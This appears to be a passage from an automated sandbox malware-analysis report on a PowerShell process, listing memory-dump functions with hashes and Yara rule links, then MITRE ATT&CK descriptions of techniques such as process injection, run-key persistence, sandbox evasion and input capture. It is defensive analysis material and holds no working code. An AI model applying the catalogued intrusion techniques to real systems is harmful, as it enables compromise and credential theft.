Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268539550030.00000000089D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_89d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01184d63f6aec3dee1f49c2089a617826bcf73f30539fc1bc504572c0f4c59dc
Instruction ID: 1fbab0e5ef302ea488ca8381b999afe4612d5cf2bae4a2205e675012ff71c1f4
Opcode Fuzzy Hash: 01184d63f6aec3dee1f49c2089a617826bcf73f30539fc1bc504572c0f4c59dc
Instruction Fuzzy Hash: 79D181346003089FDB14EFA4D444BAE7BB6FF89309F14842CE506AB3A0DB75AD41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 080119A8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c01b319b0d07bf743d0058c5eb5b92f90671552657779462a6f598d897a72497
Instruction ID: 640a86cf2e99ff45f4e775d4a788921946f1958676f5485969a18e6d3e8c0279
Opcode Fuzzy Hash: c01b319b0d07bf743d0058c5eb5b92f90671552657779462a6f598d897a72497
Instruction Fuzzy Hash: 02B11874A00258CFDB68DF64C898BAD77F6AF48316F1485A9D50AAB360DB359E81CF10

Uniqueness

Uniqueness Score: -1.00%

Function 089DC2F0 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268539550030.00000000089D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_89d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4ebbb9834b862cdf9a32902984556db34d9aded7ed9b2f58cde966434c631a
Instruction ID: c5c31351d6f226f16da2444e97d208ac4d9076e6e83eddc5c3c2210d562df222
Opcode Fuzzy Hash: 3e4ebbb9834b862cdf9a32902984556db34d9aded7ed9b2f58cde966434c631a
Instruction Fuzzy Hash: 53812A74A002098FCB18DFA8D544A9DBBF1FF8D315B1586A8E445AB3A1DB31ED41CF64

Uniqueness

Uniqueness Score: -1.00%

Function 089DADB8 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268539550030.00000000089D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_89d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34e5e080c8dd8db67868a7f83b1efd0b1c5d3a836db4f85101bae4d14269bba6
Instruction ID: 2e5fae8c9e301e5ce0834477a022c15281eecbe8ec1f673feacb0c754d2f4043
Opcode Fuzzy Hash: 34e5e080c8dd8db67868a7f83b1efd0b1c5d3a836db4f85101bae4d14269bba6
Instruction Fuzzy Hash: F161B474A002159FDB04DF68D444ABEB7FAEF89305F118169D905AB390DF35DD42CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 08010288 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d587b5868caf1489de6fec393874b2fefa8dfba2bbb05b413b04bd4ca71c94
Instruction ID: 49b8c7379d570eeb88a0f12a76ccf6ddf777f95d844aa9b9510d48cab7a3f184
Opcode Fuzzy Hash: 84d587b5868caf1489de6fec393874b2fefa8dfba2bbb05b413b04bd4ca71c94
Instruction Fuzzy Hash: 55518C70A04249DFDF14CFA5C894BEEBBF6AF88315F148029E895A7390DB349D81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0801CBC0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d055bf91bffe03371eff1331b770b7a8bb42ffbc8b29c99658bca12f52e5f84b
Instruction ID: b15b7ef30f874014a982f28904901850f4e7d1260f50b72fb827db73df0fa235
Opcode Fuzzy Hash: d055bf91bffe03371eff1331b770b7a8bb42ffbc8b29c99658bca12f52e5f84b
Instruction Fuzzy Hash: CF515C35A04318DFEB24CF29D844BEABBF6EF49315F1440AAE44997291DB359E80CF61

Uniqueness

Uniqueness Score: -1.00%

Function 08010277 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a51c37c4ec724d4a1dcc2f047b0aeb44d287ed5dd6d9bd7baf425d3e9c3579
Instruction ID: 98b56eb76bfe2d51ef26a18c9cd1c2f76e6f2a24be01d3f7ff67779d15936942
Opcode Fuzzy Hash: 49a51c37c4ec724d4a1dcc2f047b0aeb44d287ed5dd6d9bd7baf425d3e9c3579
Instruction Fuzzy Hash: 9651AE70A04288DFDF15CFA5D880AEEBFF6AF89311F188029F891A7291DB349D41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0801D3CC Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b1eb162705f6ae3029eee8a054ed06e097a9f565df43b8113b00fd25cfbfb8
Instruction ID: f2bb041363ed438792d38e246b59199b0b10ef90e739e97db9b69492dea86f8c
Opcode Fuzzy Hash: 94b1eb162705f6ae3029eee8a054ed06e097a9f565df43b8113b00fd25cfbfb8
Instruction Fuzzy Hash: A6511A35600219CFDF64DF34C994B9AB7B2BF88219F1085A8D90A9B361DB35ED86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 08011EF1 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a86fb6de7d7878e25b0e8e7799e4244ce9c093136af9f9a25a4a282f89ae2cfe
Instruction ID: c2a180726b035521c33721916b97b7d312be7921eade97eea4f410bb2494332b
Opcode Fuzzy Hash: a86fb6de7d7878e25b0e8e7799e4244ce9c093136af9f9a25a4a282f89ae2cfe
Instruction Fuzzy Hash: CF418B71A006198FCB14CF69C850ADEB7F6AF88214F1585A9D905AB360EB71AD45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 089DC0FE Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268539550030.00000000089D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_89d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3455dc5f17f297106e05058a31ae1b4eb4f63f5abc1f4e6d958cf757a36a40e8
Instruction ID: 05652c84af477a6feb103be383ca8068fd74c48f9e00408550060cbc50551303
Opcode Fuzzy Hash: 3455dc5f17f297106e05058a31ae1b4eb4f63f5abc1f4e6d958cf757a36a40e8
Instruction Fuzzy Hash: 4D215C343007048FD720EF64D580A6AB3E6BFC4319F148A79D49A8B6A5DB74F84ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0801FDE6 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83cb7d8fa44f13612f4d788cc56ff3750b99cabab8273d229e3781160e224a06
Instruction ID: 228a3cf61866e0e2482a1ad50adc3a269ceb6a5679c7c899e9a1dd71554634cd
Opcode Fuzzy Hash: 83cb7d8fa44f13612f4d788cc56ff3750b99cabab8273d229e3781160e224a06
Instruction Fuzzy Hash: 18112971E0020A8FCF14DBB8D458AEEBBF2AF89315F188429D402F7251EB359845CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0801FDE8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77d3868aaaad0f5e974efe1bd6135fb7264249656214adeb9499f28baf23ff5a
Instruction ID: 69c2ccf748050c564919b319bd9673d3fb7b5021194b21395e0692d55b03d89c
Opcode Fuzzy Hash: 77d3868aaaad0f5e974efe1bd6135fb7264249656214adeb9499f28baf23ff5a
Instruction Fuzzy Hash: 0511F971E0020A8FDF14DBB9D458ADEBBF6AF49315F188429D411F7251EB359845CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0801F948 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e83483d75f1c8d0bb2c64272f207629206a3964b0deb3514f4774a30261e8c1
Instruction ID: 4d13e26d459814ee82e125dac1514aad2a3a14682b8bbeb265283d0633487991
Opcode Fuzzy Hash: 6e83483d75f1c8d0bb2c64272f207629206a3964b0deb3514f4774a30261e8c1
Instruction Fuzzy Hash: 45119D30A00155DFDB05DB68D098B9DBBB2EF89325F1580A9E501AB3A1CB76AC45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0801D167 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750e54b74605d59fa2d652bde2f8d11d6aabf785d3318814c4ff7fd6535e241c
Instruction ID: 5bed5544f9d987235edf491ff3d9b6ed6fad977d04b4aca0b8088ce40f23f355
Opcode Fuzzy Hash: 750e54b74605d59fa2d652bde2f8d11d6aabf785d3318814c4ff7fd6535e241c
Instruction Fuzzy Hash: 3E118E3190020DEFCF219FA0C840FDEB772FF48319F204169EA15A6150DB368A55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0801F958 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 531e77d35c2bdae326e5217434fd012025f8deea445d192304df87fc192c0af6
Instruction ID: 19f59b324aaa711db4c10d3e232d0437cb2cc81fcecd36feeeb2df6e484795d6
Opcode Fuzzy Hash: 531e77d35c2bdae326e5217434fd012025f8deea445d192304df87fc192c0af6
Instruction Fuzzy Hash: EF114C34A00115DFDB14EF68D454A9EBBB6EF89325F118069E901AB3A1CB75AC44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 089D7239 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268539550030.00000000089D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_89d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ba72e8acc973263231f04bf76ed342f14f22a17899a9bf7131502bb3bbfba0b
Instruction ID: 527ed95454ebf42dd579c46a165bf1a0478544cfaf56add8b704b4cca99bfbbc
Opcode Fuzzy Hash: 7ba72e8acc973263231f04bf76ed342f14f22a17899a9bf7131502bb3bbfba0b
Instruction Fuzzy Hash: 15212938A10209CFCB04DFA4D494E9DBBB2FF88325F1594A9E501AB361DB35E882CF50

Uniqueness

Uniqueness Score: -1.00%

Function 045DD005 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268510731420.00000000045DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 045DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_45dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dec913dce9653b2df7bf9c4605443f96bc0ef53101947bb362535cbe82ebf1a
Instruction ID: 9f9d3d4c28bc7c57257d505bb88202e19e3bc6e5fd4759a6ecc4bd2c0906abd7
Opcode Fuzzy Hash: 3dec913dce9653b2df7bf9c4605443f96bc0ef53101947bb362535cbe82ebf1a
Instruction Fuzzy Hash: B401967100D3C09FD7128B25DC84656BFB4EF83224F0980DBE8848F197D2685C49C772

Uniqueness

Uniqueness Score: -1.00%

Function 0801CB5C Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0107efe163f58c9175ec17152a02af2f666e3740ef80c99c3defa7b59f2c2a0a
Instruction ID: b93c05047cdaa8c2233be74067afebce9a7d6564018e938f85256b44f6958d68
Opcode Fuzzy Hash: 0107efe163f58c9175ec17152a02af2f666e3740ef80c99c3defa7b59f2c2a0a
Instruction Fuzzy Hash: 19F0C2362087556FC712CB55DC80C9BFFF9FF8A220314414BF58587652CB21AD05C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 045DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268510731420.00000000045DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 045DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_45dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5896711b1d89c97c111ec0bafdcb08a58889e97757e91315bfb9a0bdad3b3d36
Instruction ID: 6380c5f7cdc16df468def93a5ad7971e4165562fafed0664faf8cf6b2fe265ba
Opcode Fuzzy Hash: 5896711b1d89c97c111ec0bafdcb08a58889e97757e91315bfb9a0bdad3b3d36
Instruction Fuzzy Hash: 5A01FC711043449FD7204E19E884B67BBACEF81368F088455DD450A242E379A849DAB1

Uniqueness

Uniqueness Score: -1.00%

Function 080111B5 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb2872c2b46e034ff0441dabb5d1423a2c4ed2b3055dc689fe2582a9ba047050
Instruction ID: 8ef6bc323ca071b0fba778a2abdfdadaccf2b9ceeedc0ab103293d0ec5b10197
Opcode Fuzzy Hash: eb2872c2b46e034ff0441dabb5d1423a2c4ed2b3055dc689fe2582a9ba047050
Instruction Fuzzy Hash: 96F03C31A0021CDFDF99CFA4D880BEDB7F6BB85325F50A1AAE50897250EB708995CB51

Uniqueness

Uniqueness Score: -1.00%

Function 080111BE Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb2872c2b46e034ff0441dabb5d1423a2c4ed2b3055dc689fe2582a9ba047050
Instruction ID: 8ef6bc323ca071b0fba778a2abdfdadaccf2b9ceeedc0ab103293d0ec5b10197
Opcode Fuzzy Hash: eb2872c2b46e034ff0441dabb5d1423a2c4ed2b3055dc689fe2582a9ba047050
Instruction Fuzzy Hash: 96F03C31A0021CDFDF99CFA4D880BEDB7F6BB85325F50A1AAE50897250EB708995CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0801CB80 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d6b3391619b212547129443271078b0cc79b22064b13a15adab46b36398d0a5
Instruction ID: a1a9e69c939ce5c38833242cc1bbeb5086431507a319ab6a1ee3b2d0937e07ac
Opcode Fuzzy Hash: 3d6b3391619b212547129443271078b0cc79b22064b13a15adab46b36398d0a5
Instruction Fuzzy Hash: 86F03076204618BF9B15DB45D844CABBBFDFB88660300411AF60987710D732AD01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 08012A38 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d35eb9d5b3fc9a1581a911a18f078689e1982e255802dd2f9ac7cb9fecc3fb44
Instruction ID: 8db613888b7368529cd072e37bec9046c6c7eb5b3b9ebca4016f54f5fe4da07f
Opcode Fuzzy Hash: d35eb9d5b3fc9a1581a911a18f078689e1982e255802dd2f9ac7cb9fecc3fb44
Instruction Fuzzy Hash: 75F0F874F1022A8F8B94DFFD944159EBAFAAF8D650B20806AD109DB310EB30DD018B91

Uniqueness

Uniqueness Score: -1.00%

Function 08012A3D Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f069c318c66d9517ab71bf38119cb5104ad949c66e78abd2addcffa33c3ce3e
Instruction ID: c1b1be332ade15b53e5b60b442e25d70bac894ef72dda14729bcb7c29b9bd7c9
Opcode Fuzzy Hash: 8f069c318c66d9517ab71bf38119cb5104ad949c66e78abd2addcffa33c3ce3e
Instruction Fuzzy Hash: 63E03934B105268F8F54DBFC940149EBBEAAB8926472081AAD10ADB760EB35DD028B81

Uniqueness

Uniqueness Score: -1.00%

Function 08011D9A Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d7d379cec83ebea08f8af462bc050792d7a2eb219a2109ce41f742f2ba4bb3f
Instruction ID: 8739c162f55e2597bc56083dbf0d7f7d22e71a2c666e3f7cc2210f700bef06b0
Opcode Fuzzy Hash: 9d7d379cec83ebea08f8af462bc050792d7a2eb219a2109ce41f742f2ba4bb3f
Instruction Fuzzy Hash: E5F0A535A01328CFDF659B65E844B9CB7B2FB88211F0082E9D509973A1DB359A95CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0801FA60 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1f68de0ccd8796040e4b131635f4b3d5d6231dc20b6b4cf2d37d39337b1cd7c
Instruction ID: ea3c02b79aface5eba65e68f33d3ac2ef5fb50994d3f7671b7bb710212ac609f
Opcode Fuzzy Hash: c1f68de0ccd8796040e4b131635f4b3d5d6231dc20b6b4cf2d37d39337b1cd7c
Instruction Fuzzy Hash: A9D0C9762693D08FC7039B28D8554843FB0AF1B22030A44D2E589CF273C6209C0ACFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0801FA70 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction ID: a0ccf6e4bed68dc0c69f5d0bbd707ad7c253f4111acce2a0e91a8f8d8fd4bd45
Opcode Fuzzy Hash: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction Fuzzy Hash: 03B092351602088F82409B68E448C00B3E8AB08A243118090E10C8B232C621F8008A40

Uniqueness

Uniqueness Score: -1.00%

Function 0801FCFB Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ea6ea100f2daf885123460dbb75cde1ed4c9ddce7e04602d7c2cb2c55ebe415
Instruction ID: 3e722fcc3c13ade14b8e3b0ce5e59f15a76094b227f986544a643d6b7dc0ba18
Opcode Fuzzy Hash: 4ea6ea100f2daf885123460dbb75cde1ed4c9ddce7e04602d7c2cb2c55ebe415
Instruction Fuzzy Hash: DBA0022560A3C46ADB02FDE90C561E41FB99DFB2453CF3086E0A9DBA06C96D424793A7

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

